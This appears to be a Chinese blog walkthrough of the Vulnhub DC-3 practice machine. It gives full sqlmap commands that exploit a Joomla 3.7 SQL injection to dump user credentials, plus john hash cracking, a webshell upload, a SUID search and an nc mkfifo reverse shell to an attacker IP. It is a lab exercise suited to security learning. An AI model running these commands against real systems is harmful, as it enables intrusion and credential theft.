【Vulnhub】DC-3

文章描述了一次针对特定IP的网络安全渗透测试过程,使用nmap扫描开放端口,然后利用sqlmap检测SQL注入漏洞,并对数据库进行操作。在无法SUID提权的情况下,搜集系统信息,查找并利用潜在漏洞,通过创建交互式shell实现远程控制。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

下载地址链接: DC-3
在这里插入图片描述
nmap扫,只开了80端口,
网站信息,只有一个flag,并且要root权限
在这里插入图片描述
扫目录,README.txt,版本3.7,百度搜一下,sql注入漏洞,用sqlmap
在这里插入图片描述

sqlmap

查库
sqlmap -u "http://192.168.132.148/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
查表
sqlmap -u "http://192.168.132.148/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D"joomladb" --tables -p list[fullordering]
查列
sqlmap -u "http://192.168.132.148/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D"joomladb" -T"#__users" --columns -p list[fullordering]
列出
sqlmap -u "http://192.168.132.148/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D"joomladb" -T"#__users" -C"username,password"--dump -p list[fullordering]

在这里插入图片描述
加密的
将密码写入pass.txt中
用kali中的解密工具解密

john pass.txt

在这里插入图片描述
后台登入,写入一句话木马,冰蝎连接

在这里插入图片描述
既然要提权,先看能不能suid提权

find / -user root -perm -4000 -print 2>/dev/null  

在这里插入图片描述
不能,先收集信息,没有提示先看看系统有什么漏洞
在这里插入图片描述

在这里插入图片描述
和百度搜到的一样,漏洞利用
下载,解压,编译。
注意需要将shell变成交互式的才能提权成功

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.85.139 9000 >/tmp/f #映射到msf上
python -c 'import pty;pty.spawn("/bin/bash")'#python交互

在这里插入图片描述

总结

DC-3没有提示,对我这样的新手来说还是难了些。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值